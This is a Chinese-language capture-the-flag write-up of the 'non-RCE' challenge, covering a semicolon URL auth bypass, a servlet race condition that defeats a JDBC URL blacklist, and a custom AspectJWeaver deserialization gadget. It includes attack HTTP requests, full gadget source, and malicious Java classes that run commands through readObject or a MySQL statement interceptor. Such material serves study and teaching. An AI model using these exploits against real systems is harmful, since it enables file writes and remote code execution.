前言

今年的D3CTF和蚂蚁一起合作举办,也就是现在的AntCTFxD^3CTF,算起来也算是从HCTF、D3CTF以及AntCTFxD^3CTF这个过程都完整参与了一遍。比赛于上周末结束。其中non-RCE这个题目来自于我之前所在的非攻实验室,出题人是orich和幻猫,题目质量还是不错的,因此写了这篇分析。

这个题目主要涉及到的点有三个,分别为:

  1. 鉴权绕过
  2. Servlet时间竞争绕过黑名单
  3. AspectJWeaver反序列化Gadget构造

这一篇文章就主要针对这三个点进行分析。

鉴权绕过

在这个题目中设计了几个Filter,这里只说下涉及到的两个:

  1. AntiUrlAttackFilter
  2. LoginFilter

当我们需要访问/admin/*格式的地址时,会触发LoginFilter要求我们密码,然而密码无从知晓。

而AntiUrlAttackFilter这个过滤器对所有url生效,并且里面进行了对url的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
String url = req.getRequestURI();

if (...) {
...
} else if (url.contains(";")) {
String filteredUrl = url.replaceAll(";", "");
req.getRequestDispatcher(filteredUrl).forward(servletRequest, servletResponse);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}

因此对于/;admin/importData格式的请求,AntiUrlAttackFilter会对其处理变为/admin/importData并重新进行路由,鉴权也就被绕过了。

Servlet时间竞争

在该题目中,攻击的入手点在于AdminServlet下的doGet(),我们需要传入一个jdbc url,服务端会对该jdbc url使用com.mysql.jdbc.Driver发起连接。同时,会对该jdbc url进行黑名单检查,当其中出现%autoDeserialize时则会进行拦截:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
...
// 从GET参数取值
String databaseType = req.getParameter("databaseType");
String jdbcUrl = req.getParameter("jdbcUrl");
// 黑名单检查
if (!BlackListChecker.check(jdbcUrl)) {
System.out.println("detect attacking!");
resp.sendError(HttpServletResponse.SC_BAD_REQUEST, "The jdbc url contains illegal character!");
return;
}
...
// 链接jdbc url
DriverManager.setLoginTimeout(5);
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(jdbcUrl);
outputResponse(resp, "ok");
...
}

在BlackHat2019上有一个关于Mysql反序列化攻击的议题,这种攻击方式需要通过jdbc url设置autoDeserialize=true以及对应的interceptor用于触发反序列化,具体细节不做阐述。

接着便会遇到一个矛盾:

  1. 需要通过设置autoDeserialize=true来开启反序列化
  2. 黑名单不允许autoDeserialize的出现

此时便可以借助Servlet的时间竞争缺陷进行绕过。

Servlet的生命周期交给容器进行管理,容器在加载Servlet时进行实例化,常见的Tomcat、Jboss、WebLogic这些都是Web容器,而在这个题目中则使用的是Tomcat。Servlet的生命周期通过javax.servlet.Servlet接口中的init()service()destory()进行表示。

当Servlet初始化完成后,便能对相应的请求进行处理。当一个Servlet收到对应的请求时,会调用service()方法,并将对应的方法和请求参数传递至对应的方法。比如doGet()doPost()。此时需要注意的是,JSP/Servlet容器默认使用单实例多线程的方式处理多个请求,即在客户端第一次请求Servlet时,实例化只会进行一次,当第二个用户请求该Servlet时,则会继续使用这个已实例化的Servlet。

因此尽管每次执行都会发生在不同的线程,但是容器中只有一个Servlet实例,如果Servlet实例内部的某个实例属性的内容会被多个线程访问并修改,就有可能导致时间竞争问题。

再来看变量jdbcUrl,我们可以发现它并不是实例变量又或是静态变量,那么是不是意味着并不存在时间竞争的问题呢。jdbcUrl会传入BlackListChecker.check(),而在这个函数中会通过BlackListChecker.setToBeChecked()jdbcUrl变量的值赋予至实例变量this.toBeChecked

因此需要思考的就是,作为Servlet内调用的类,BlackListChecker是否也会面临时间竞争的问题。答案是肯定的。

由于BlackListChecker也拥有实例变量并进行了赋值,并且实际进行了实例化,此时它的实例变量会与AdminServlet的实例变量一起分配至Java堆上,这同样是所有线程共享的。因此当只有一个实例时,不仅是AdminServlet的实例变量会遇到时间竞争的问题,BlackListChecker也同样遇到了这个问题。

此时就需要对jdbcUrl进行时间竞争,使用两个不同的值,一个是不触发黑名单的,一个是触发黑名单的:

1
2
3
GET /;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse&databaseType=mysql&a=§1§ HTTP/1.1

GET /;admin/importData?jdbcUrl=jdbc%3amysql%3a%2f%2f0.0.0.0%3a3306%2fmysql%3fcharacterEncoding%3dutf8%26useUnicode%3dtrue%26useSSL%3dfalse%26statementInterceptors%3dcom.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3dtrue%26user%3dyso_Jdk7u21_touch%20/tmp/aaa&databaseType=mysql&a=§1§ HTTP/1.1

AspectJWeaver反序列化Gadget构造

在二月份的时候,ysoserialize更新了一条新的反序列化Gadget:AspectJWeaver,从代码里可以看到其构造方式。

在ysoserial中,AspectJWeaver的反序列化Gadget构造中部分是依赖于CommonsCollections的,但是在这个环境中并没有CommonsCollections的依赖,因此需要修改其构造过程。题目提供了一个名为DataMap的类,这个类可以提供构造Gadget的功能,接下来就需要理解ysoserial的构造过程并修改。

AspectJWeaver在ysoserialize的主要调用链如下:

1
2
3
4
5
6
7
8
9
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

我们可以发现从HashMap.hash()之后到SimpleCache$StorableCachingMap.put()之前都是根据CommonsCollections进行构建的,因此需要修改的就是这一部分。从HashMap.hash()的调用开始,下一级调用为hashCode()的调用有DataMap$Entry.hashCode()

1
2
3
public int hashCode() {
return DataMap.hash(this.getKey()) ^ DataMap.hash(this.getValue());
}

接着调用this.getValue(),这一层调用会进到DataMap.get(),其中主要有this.values.get()this.wrapperMap.get()、和this.values.put(),但是get()无法找到符合条件的函数实现,因此再看put()put()的传参为:

1
this.values.put(key, v);

其中key来自于DataMap.get(Object key),v来自于v = this.wrapperMap.get(key);,所以可以将this.wrapperMap构造为一个HashMap用于存储文件内容和文件名,而this.values则为SimpleCache$StorableCachingMap,因此可以构造出这一部分:

1
2
3
4
5
6
Constructor aspectjConstructor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Reflections.setAccessible(aspectjConstructor);
Object simpleCache = aspectjConstructor.newInstance(".",12);
HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);

此时整个调用链便已经完整了:

1
2
3
4
5
6
7
8
9
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

接着构造DataMap$Entry,主要是对内部类的实例化时指明Outer Class以及this.key为文件名。剩余部分则直接照搬ysoserial的部分即可。

完整的构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package ysoserial.payloads;

import clojure.lang.Cons;
import org.apache.commons.codec.binary.Base64;
import checker.DataMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
@Authors({Authors.MEIZJ})
public class AspectJWeaverSingle implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor aspectjConstructor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Reflections.setAccessible(aspectjConstructor);
Object simpleCache = aspectjConstructor.newInstance(".",12);

HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);

Constructor dataMapEntryConstructor = Reflections.getFirstCtor("checker.DataMap$Entry");
Reflections.setAccessible(dataMapEntryConstructor);
Object dataMapEntry = dataMapEntryConstructor.newInstance(dataMap,filename);

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, dataMapEntry);

return map;
}

public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}

命令执行

在成功写入文件后,需要进行执行命令。这里有两种方法:

  1. 反序列化执行命令
  2. interceptor加载 - 来自LFY

反序列化执行命令先通过AspectJWeaver向服务器上写入恶意的类,该类中重新实现一个readObject方法,再通过MySQL的反序列化加载该类,执行readObject实现RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 先入至服务器
package servlet;
import java.io.IOException;
import java.io.Serializable;
import java.io.ObjectInputStream;
public class ant implements Serializable{
public String a;
public ant(){
a = "a";
}
private void writeObject(ObjectInputStream oin) throws IOException, ClassNotFoundException {
oin.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /tmp/ant-ctf");
}
}

// 将MySQL返回的序列化数据替换为ant.obj
package servlet;
import java.io.IOException;
import java.io.Serializable;
import java.io.ObjectInputStream;
public class ant implements Serializable{
public String a;
public ant(){
a = "a";
}
private void writeObject(ObjectInputStream oin) throws IOException, ClassNotFoundException {
oin.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /tmp/ant-ctf");
}
}

另一种是实现一个继承了interceptor接口的恶意类,再通过interceptor自动执行特定函数这个特点进行RCE。此时指定statementInterceptors=servlet.antInterceptor即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package servlet;
import com.mysql.jdbc.Connection;
import com.mysql.jdbc.ResultSetInternalMethods;
import com.mysql.jdbc.Statement;
import com.mysql.jdbc.StatementInterceptor;

import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class antInterceptor implements StatementInterceptor{

@Override
public void init(Connection connection, Properties properties) throws SQLException {

}

@Override
public ResultSetInternalMethods preProcess(String s, Statement statement, Connection connection) throws SQLException {
return null;
}


@Override
public ResultSetInternalMethods postProcess(String s, Statement statement, ResultSetInternalMethods resultSetInternalMethods, Connection connection) throws SQLException {
try {
Runtime.getRuntime().exec("touch /tmp/ant-ctf2");
} catch (IOException e) {
e.printStackTrace();
}
return null;
}

@Override
public boolean executeTopLevelOnly() {
return false;
}

@Override
public void destroy() {

}
}